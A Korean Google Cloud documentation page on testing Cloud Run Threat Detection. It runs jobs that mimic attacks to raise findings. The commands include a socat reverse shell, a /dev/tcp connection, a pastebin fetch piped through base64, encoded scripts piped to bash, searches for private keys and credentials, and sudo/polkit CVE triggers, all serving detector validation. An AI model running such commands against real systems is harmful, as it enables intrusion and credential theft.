Cloud Run Threat Detection 테스트

이 페이지에서는 의도적으로 감지기를 트리거하고 발견 항목을 확인하여 Cloud Run Threat Detection이 작동하는지 확인하는 방법을 설명합니다. Cloud Run Threat Detection은 Security Command Center의 기본 제공 서비스입니다.

시작하기 전에

Cloud Run 서비스 및 작업에 대한 잠재적 위협을 감지하려면 Security Command Center에서 Cloud Run Threat Detection 서비스가 사용 설정되어 있는지 확인하세요. 일부 감지기는 기본적으로 사용 중지되어 있습니다. 이러한 감지기를 테스트하려면 먼저 사용 설정해야 합니다.

환경 변수 설정하기

감지기를 테스트하려면 Google Cloud 콘솔과 Cloud Shell을 사용합니다. Cloud Shell에서 환경 변수를 설정하면 명령어를 보다 편리하게 실행할 수 있습니다. 이러한 변수를 사용하여 모든 감지기를 테스트합니다.

  1. Google Cloud 콘솔로 이동합니다.

    Google Cloud 콘솔로 이동

  2. 테스트에 사용할 Cloud Run 작업이 포함된 프로젝트를 선택합니다.

  3. Cloud Shell 활성화를 클릭합니다.

  4. Cloud Shell에서 환경 변수를 설정합니다.

    1. 테스트 작업을 만들 프로젝트와 리전을 설정합니다.

      export PROJECT=PROJECT_ID
      export REGION=REGION
      

환경 변수를 설정했으면 감지기 테스트 안내를 계속 따를 수 있습니다.

명령 및 제어: 스테가노그래피 도구 감지됨

Command and Control: Steganography Tool Detected (미리보기) 발견 사항을 트리거하려면 스테가노그래피 도구와 유사한 파일 조작 기능을 가진 바이너리를 컨테이너 내에서 실행합니다. 이 예시에서는 /bin/ls를 복사하고 이름을 steghide로 바꿉니다.

Cloud Run 작업을 만들고 실행합니다.

   JOB_NAME="crtd-test-steganography-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","cp /bin/ls /tmp/steghide; sleep 60; /tmp/steghide; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

이 테스트 절차에서는 Command and Control: Steganography Tool Detected 발견 항목을 만듭니다.

사용자 인증 정보 액세스: Google Cloud 사용자 인증 정보 찾기

Credential Access: Find Google Cloud Credentials 발견 사항을 트리거하려면 컨테이너 내에서 파일 콘텐츠를 검색할 수 있는 바이너리를 실행합니다. 이 예시에서는 /bin/ls를 복사하고, 이름을 grep로 바꾼 후, 의심스러운 인수를 포함해 실행합니다.

Cloud Run 작업을 만들고 실행합니다.

   JOB_NAME="crtd-test-find-creds-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","cp /bin/ls /tmp/grep; sleep 60; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

이 테스트 절차에서는 Credential Access: Find Google Cloud Credentials 발견 항목을 만듭니다.

사용자 인증 정보 액세스: GPG 키 정탐

Credential Access: GPG Key Reconnaissance 발견 사항을 트리거하려면 의심스러운 인수로 검색 도구를 실행하세요.

Cloud Run 작업을 만들고 실행합니다.

   JOB_NAME="crtd-test-gpg-key-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","cp /bin/ls /tmp/find; sleep 60; /tmp/find secring.gpg; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

이 테스트 절차에서는 Credential Access: GPG Key Reconnaissance 발견 항목을 만듭니다.

사용자 인증 정보 액세스: 비공개 키 또는 비밀번호 검색

Credential Access: Search Private Keys or Passwords 발견 사항을 트리거하려면 의심스러운 인수를 사용하여 검색 도구를 실행합니다.

Cloud Run 작업을 만들고 실행합니다.

   JOB_NAME="crtd-test-search-keys-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","cp /bin/ls /tmp/find; sleep 60; /tmp/find id_rsa; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

이 테스트 절차에서는 Credential Access: Search Private Keys or Passwords 발견 항목을 만듭니다.

방어 회피: Base64 ELF 파일 명령줄

Defense Evasion: Base64 ELF File Command Line 발견 사항을 트리거하려면 인코딩된 ELF 헤더 인수를 사용하여 base64을 실행합니다.

Cloud Run 작업을 만들고 실행합니다.

   JOB_NAME="crtd-test-base64-elf-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; base64 -d f0VMRgIB; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

이 테스트 절차에서는 두 개의 Defense Evasion: Base64 ELF File Command Line 발견 사항이 생성됩니다.

방어 회피: base64로 인코딩된 Python 스크립트 실행됨

Defense Evasion: Base64 Encoded Python Script Executed 발견 사항을 트리거하려면 인코딩된 Python 명령어를 사용하여 echo을 실행합니다.

Cloud Run 작업을 만들고 실행합니다.

   JOB_NAME="crtd-test-base64-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c","sleep 60; base64 aW1wb3J0IH; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

이 테스트 절차에서는 Defense Evasion: Base64 Encoded Python Script Executed 발견 항목을 만듭니다.

방어 회피: Base64로 인코딩된 셸 스크립트 실행됨

Defense Evasion: Base64 Encoded Shell Script Executed 발견 사항을 트리거하려면 인코딩된 셸 명령어를 사용하여 echo을 실행합니다.

Cloud Run 작업을 만들고 실행합니다.

   JOB_NAME="crtd-test-base64-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c","sleep 60; base64 IyEvYmluL3NoC; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

이 테스트 절차에서는 Defense Evasion: Base64 Encoded Shell Script Executed 발견 항목을 만듭니다.

방어 회피: 컨테이너에서 코드 컴파일러 도구 실행

Defense Evasion: Launch Code Compiler Tool In Container(미리보기) 발견 사항을 트리거하려면 컴파일러 도구를 실행하세요.

Cloud Run 작업을 만들고 실행합니다.

   JOB_NAME="crtd-test-launch-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","cp /bin/ls /tmp/gcc10; sleep 60; /tmp/gcc10 -o /tmp/gcc10.o; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

이 테스트 절차에서는 Defense Evasion: Launch Code Compiler Tool In Container 발견 항목을 만듭니다.

실행: 추가된 악성 바이너리 실행됨

실행: 추가된 악성 바이너리 실행됨 발견 항목을 트리거하려면 컨테이너에 악성 바이너리 (EICAR)를 추가하고 실행합니다.

Cloud Run 작업을 만들고 실행합니다.

   JOB_NAME="crtd-test-added-malicious-bin-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
   gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; sleep 60; /tmp/test_mal_file; sleep 10" \
      --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

이 테스트 절차에서는 실행: 추가된 악성 바이너리 실행됨 발견 항목이 생성됩니다.

실행: 추가된 악성 라이브러리가 로드됨

실행: 추가된 악성 라이브러리가 로드됨 발견 사항을 트리거하려면 컨테이너에 악성 라이브러리를 추가하고 로드합니다. 이 예에서는 시뮬레이션된 악성 라이브러리로 /tmp/test_mal_lib 파일을 업데이트한 다음 mmap을 사용하여 로드합니다. 기존 파일의 라이브러리 로드는 예상치 못한 일입니다. 파일이 원본 컨테이너 이미지에 없었고 라이브러리가 위협 인텔리전스에 의해 악성으로 분류된 EICAR 테스트 파일이기 때문입니다.

Cloud Run 작업을 만들고 실행합니다.

   JOB_NAME="crtd-test-add-malicious-lib-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   cat << 'EOF2' > JOB_NAME.sh
   apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1
   echo -n 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > /tmp/test_mal_lib
   cat << 'EOF' > /tmp/loader.c
   #include <fcntl.h>
   #include <sys/mman.h>
   #include <sys/stat.h>
   #include <unistd.h>
   #include <stdlib.h>
   int main(int argc, char *argv[]) {
      int fd = open(argv[1], O_RDONLY);
      if (fd == -1) return 1;
      struct stat sb;
      if (fstat(fd, &sb) == -1) return 1;
      void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
      if (addr == MAP_FAILED) return 1;
      write(1, addr, sb.st_size);
      munmap(addr, sb.st_size);
      close(fd);
      return 0;
   }
   EOF
   gcc /tmp/loader.c -o /tmp/loader
   sleep 30
   /tmp/loader /tmp/test_mal_lib
   sleep 10
   EOF2
   ENCODED_SCRIPT=$(base64 -w 0 JOB_NAME.sh)
   rm -f JOB_NAME.sh
   gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","echo $ENCODED_SCRIPT | base64 -d | bash" \
      --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

이 테스트 절차를 실행하면 실행: 추가된 악성 라이브러리가 로드됨 발견 사항이 생성됩니다.

실행: 컨테이너 이스케이프

실행: 컨테이너 이스케이프 발견 사항을 트리거하려면 컨테이너 이스케이프 동작을 시뮬레이션하는 도구를 실행합니다.

Cloud Run 작업을 만들고 실행합니다.

   JOB_NAME="crtd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","cp /bin/ls /tmp/botb-linux-amd64; sleep 60; /tmp/botb-linux-amd64 -autopwn; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

이 테스트 절차에서는 실행: 컨테이너 이스케이프 발견 사항이 생성됩니다.

실행: /memfd:에서 파일 없는 실행

Execution: Fileless Execution in /memfd: 발견 사항을 트리거하려면 Python을 사용하여 /memfd: 인메모리 파일 시스템에서 프로세스를 실행하세요.

Cloud Run 작업을 만들고 실행합니다.

   JOB_NAME="crtd-test-fileless-memfd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   PYTHON_CODE=$(cat <<EOF
   import os,sys
   f = open('/bin/ls','rb')
   execdata = f.read()
   f.close()
   fd = os.memfd_create('', 0)
   fname = '/proc/self/fd/{}'.format(fd)
   f = open(fname,'wb')
   f.write(execdata)
   f.close()
   args = ['/bin']
   os.execve(fname, args, os.environ)
   EOF
   )
   B64_PAYLOAD=$(echo "$PYTHON_CODE" | base64 -w 0)
   gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image python:latest \
      --command=bash \
      --args="-c","sleep 60; echo $B64_PAYLOAD | base64 -d | python3 ; sleep 10" \
      --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

이 테스트 절차에서는 Execution: Fileless Execution in /memfd: 발견 항목을 만듭니다.

실행: Kubernetes 공격 도구 실행

실행: Kubernetes 공격 도구 실행 발견 사항을 트리거하려면 알려진 공격 도구와 일치하는 프로그램을 실행합니다.

Cloud Run 작업을 만들고 실행합니다.

   JOB_NAME="crtd-test-k8s-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","cp /bin/ls /tmp/amicontained; sleep 60; /tmp/amicontained; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

이 테스트 절차에서는 실행: Kubernetes 공격 도구 실행 발견 사항이 생성됩니다.

실행: 로컬 정탐 도구 실행

Execution: Local Reconnaissance Tool Execution 발견 사항을 트리거하려면 정찰 도구와 일치하는 프로그램을 실행합니다.

Cloud Run 작업을 만들고 실행합니다.

   JOB_NAME="crtd-test-local-recon-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","cp /bin/ls /tmp/linenum.sh; sleep 60; /tmp/linenum.sh; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

이 테스트 절차에서는 실행: 로컬 정찰 도구 실행 발견 사항이 생성됩니다.

실행: 수정된 악성 바이너리 실행됨

실행: 수정된 악성 바이너리 실행됨 발견 사항을 트리거하려면 알려진 악성 서명 (EICAR)과 일치하도록 바이너리를 수정합니다.

Cloud Run 작업을 만들고 실행합니다.

   JOB_NAME="crtd-test-mod-malicious-bin-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","echo -n '$eicar' > /etc/issue; chmod 700 /etc/issue; sleep 60; /etc/issue; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

이 테스트 절차에서는 실행: 수정된 악성 바이너리 실행됨 발견 항목이 생성됩니다.

실행: 수정된 악성 라이브러리가 로드됨

실행: 수정된 악성 라이브러리가 로드됨 발견 사항을 트리거하려면 컨테이너에서 악성 라이브러리가 있는 기존 파일을 수정하고 로드합니다. 이 예에서는 시뮬레이션된 악성 라이브러리로 /etc/issue 파일을 업데이트한 다음 mmap을 사용하여 로드합니다. 라이브러리가 위협 인텔리전스에 의해 악성으로 분류된 EICAR 테스트 파일이므로 기존 파일의 라이브러리 로드가 예기치 않습니다.

Cloud Run 작업을 만들고 실행합니다.

   JOB_NAME="crtd-test-mod-malicious-lib-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   cat << 'EOF2' > JOB_NAME.sh
   apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1
   echo -n 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > /etc/issue
   cat << 'EOF' > /tmp/loader.c
   #include <fcntl.h>
   #include <sys/mman.h>
   #include <sys/stat.h>
   #include <unistd.h>
   #include <stdlib.h>
   int main(int argc, char *argv[]) {
      int fd = open(argv[1], O_RDONLY);
      if (fd == -1) return 1;
      struct stat sb;
      if (fstat(fd, &sb) == -1) return 1;
      void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
      if (addr == MAP_FAILED) return 1;
      write(1, addr, sb.st_size);
      munmap(addr, sb.st_size);
      close(fd);
      return 0;
   }
   EOF
   gcc /tmp/loader.c -o /tmp/loader
   sleep 30
   /tmp/loader /etc/issue
   sleep 10
   EOF2
   ENCODED_SCRIPT=$(base64 -w 0 JOB_NAME.sh)
   rm -f JOB_NAME.sh
   gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","echo $ENCODED_SCRIPT | base64 -d | bash" \
      --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

이 테스트 절차에서는 실행: 수정된 악성 라이브러리가 로드됨 발견 사항을 만듭니다.

실행: 컨테이너에서 netcat 원격 코드 실행

Execution: Netcat Remote Code Execution In Container 이벤트를 트리거하려면 의심스러운 인수로 netcat을 실행합니다.

Cloud Run 작업을 만들고 실행합니다.

   JOB_NAME="crtd-test-netcat-rce-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c","cp /bin/ls /tmp/nc; sleep 60; /tmp/nc -e; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

이 테스트 절차에서는 Execution: Netcat Remote Code Execution In Container 발견 항목을 만듭니다.

실행: CUPS를 통한 임의의 명령어 실행 가능성 (CVE-2024-47076)

Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076) 발견 사항을 트리거하려면 익스플로잇을 시뮬레이션하는 스크립트를 실행합니다.

Cloud Run 작업을 만들고 실행합니다.

   JOB_NAME="crtd-test-cups-cve-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c",'sleep 60; cp /bin/bash /tmp/foomatic-rip; echo "#!/tmp/foomatic-rip" >> /tmp/test.sh; echo "sh -c echo hello" >> /tmp/test.sh; chmod +x /tmp/test.sh; /tmp/test.sh; sleep 10' \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

이 테스트 절차에서는 Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076) 발견 항목을 만듭니다.

실행: 원격 명령어 실행이 감지되었을 가능성 있음

Execution: Possible Remote Command Execution Detected(미리보기) 발견 사항을 트리거하려면 원격 연결을 시도하는 명령어를 실행합니다.

Cloud Run 작업을 만들고 실행합니다.

   JOB_NAME="crtd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c","sleep 60; cp /bin/ls /tmp/touch; echo \"Hello\" | /tmp/touch >& /dev/tcp/8.8.8.8/53; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

이 테스트 절차에서는 Execution: Possible Remote Command Execution Detected 발견 항목을 만듭니다.

실행: 허용되지 않는 HTTP 프록시 환경을 사용한 프로그램 실행

Execution: Program Run with Disallowed HTTP Proxy Env 발견 사항을 트리거하려면 잘못된 프록시 환경 변수를 사용하여 프로그램을 실행합니다.

Cloud Run 작업을 만들고 실행합니다.

   JOB_NAME="crtd-test-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

이 테스트 절차에서는 Execution: Program Run with Disallowed HTTP Proxy Env 발견 항목을 만듭니다.

실행: Socat 리버스 셸 감지됨

Execution: Socat Reverse Shell Detected 발견 사항을 트리거하려면 socat 유틸리티를 사용하여 리버스 셸을 설정합니다.

Cloud Run 작업을 만들고 실행합니다.

   JOB_NAME="crtd-test-socat-rev-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   RAW_SOCAT="timeout 10s /usr/bin/socat TCP-LISTEN:4444,reuseaddr,fork STDOUT & sleep 5 && timeout 5s /usr/bin/socat TCP:127.0.0.1:4444 EXEC:/bin/bash,pty,stderr || true"
   B64_SOCAT=$(echo -n "$RAW_SOCAT" | base64 | tr -d '\n\r ')
   gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args="-c","sleep 60; apt-get update -qq && apt-get install socat -y -qq && echo $B64_SOCAT | base64 -d | bash" \
      --execute-now \
      --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

이 테스트 절차에서는 Execution: Socat Reverse Shell Detected 발견 항목을 만듭니다.

실행: 의심스러운 OpenSSL 공유 객체 로드됨

Execution: Suspicious OpenSSL Shared Object Loaded 발견 사항을 트리거하려면 의심스러운 라이브러리로 openssl을 실행합니다.

Cloud Run 작업을 만들고 실행합니다.

   JOB_NAME="crtd-test-openssl-so-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; cp /bin/ls /tmp/openssl; /tmp/openssl engine /tmp/fakelib.so; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

이 테스트 절차에서는 Execution: Suspicious OpenSSL Shared Object Loaded 발견 항목을 만듭니다.

무단 반출: 컨테이너에서 원격 파일 복사 도구 실행

Exfiltration: Launch Remote File Copy Tools In Container 발견 사항을 트리거하려면 원격 복사 도구를 실행합니다.

Cloud Run 작업을 만들고 실행합니다.

   JOB_NAME="crtd-test-remote-copy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; cp /bin/ls /tmp/rsync; /tmp/rsync; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

이 테스트 절차에서는 Exfiltration: Launch Remote File Copy Tools In Container 발견 항목을 만듭니다.

영향: 악의적인 명령줄 감지

Impact: Detect Malicious Cmdlines (미리보기) 발견 사항을 트리거하려면 의심스러운 명령어 이름 (IPFS)을 실행합니다.

Cloud Run 작업을 만들고 실행합니다.

   JOB_NAME="crtd-test-malicious-cmd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; cp /bin/ls /tmp/ipfs; /tmp/ipfs; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

이 테스트 절차에서는 Impact: Detect Malicious Cmdlines 발견 항목을 만듭니다.

영향: 디스크에서 대량 데이터 삭제

Impact: Remove Bulk Data From Disk 발견 사항을 트리거하려면 shred과 같은 도구를 실행합니다.

Cloud Run 작업을 만들고 실행합니다.

   JOB_NAME="crtd-test-remove-bulk-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; cp /bin/ls /tmp/shred; /tmp/shred; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

이 테스트 절차에서는 Impact: Remove Bulk Data From Disk 발견 항목을 만듭니다.

영향: Stratum 프로토콜을 사용하는 의심스러운 암호화폐 채굴 활동

Impact: Suspicious cryptocurrency mining activity using the Stratum Protocol 발견 사항을 트리거하려면 Stratum 프로토콜을 사용하여 통신하는 암호화폐 채굴 소프트웨어에 사용되는 것과 비슷한 인수와 함께 바이너리를 실행합니다.

Cloud Run 작업을 만들고 실행합니다.

   JOB_NAME="crtd-test-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c","sleep 60; cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

이 테스트 절차에서는 Impact: Suspicious cryptocurrency mining activity using the Stratum Protocol 발견 항목을 만듭니다.

악성 스크립트가 실행됨

악성 스크립트 실행 발견 항목을 트리거하려면 악성 행위를 모방하는 스크립트를 실행합니다.

Cloud Run 작업을 만들고 실행합니다.

   JOB_NAME="crtd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; sh -c \"(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d\"; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

이 테스트 절차에서는 악성 스크립트 실행됨 발견 항목이 생성됩니다.

악성 URL 모니터링됨

악성 URL 관찰 발견 사항을 트리거하려면 바이너리를 실행하고 악성 URL을 인수로 제공합니다.

Cloud Run 작업을 만들고 실행합니다.

   JOB_NAME="crtd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; apt-get update && apt-get install curl -y && curl https://testsafebrowsing.appspot.com/s/malware.html | cat; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

이 테스트 절차에서는 악성 URL 관찰 발견 항목을 트리거합니다.

권한 에스컬레이션: 권한 에스컬레이션을 위한 Sudo 악용(CVE-2019-14287)

Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287) 발견 사항을 트리거하려면 -u#-1 파라미터와 함께 sudo 바이너리를 실행합니다.

Cloud Run 작업을 만들고 실행합니다.

   JOB_NAME="crtd-test-abuse-sudo-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; cp /bin/ls /tmp/sudo; /tmp/sudo -u#-1; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

이 테스트 절차에서는 Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287) 발견 항목을 만듭니다.

권한 에스컬레이션: Sudo 잠재적 권한 에스컬레이션(CVE-2021-3156)

Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156) 발견 사항을 트리거하려면 -s 파라미터와 ``로 끝나는 파라미터와 함께 sudo 바이너리를 실행합니다.

Cloud Run 작업을 만들고 실행합니다.

   JOB_NAME="crtd-test-sudo-potential-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c",'sleep 60; cp /bin/ls /tmp/sudo; su $(id -un 1000) -c "/tmp/sudo -s \"123\\\\\"" ; sleep 10' \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

이 테스트 절차에서는 Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156) 발견 항목을 만듭니다.

권한 에스컬레이션: Polkit 로컬 권한 에스컬레이션 취약점(CVE-2021-4034)

Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034) 발견 사항을 트리거하려면 루트가 아닌 사용자로 설정된 GCONV_PATH 환경 변수와 함께 pkexec 바이너리를 실행합니다.

Cloud Run 작업을 만들고 실행합니다.

   JOB_NAME="crtd-test-polkit-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c",'sleep 60; cp /bin/ls /tmp/pkexec; su $(id -un 1000) -c "GCONV_PATH=junk /tmp/pkexec;"; sleep 10' \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

이 테스트 절차에서는 Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034) 발견 항목을 만듭니다.

역방향 셸

역방향 셸 발견 사항을 트리거하려면 TCP 연결 소켓으로의 stdin 리디렉션으로 바이너리를 시작합니다.

Cloud Run 작업을 만들고 실행합니다.

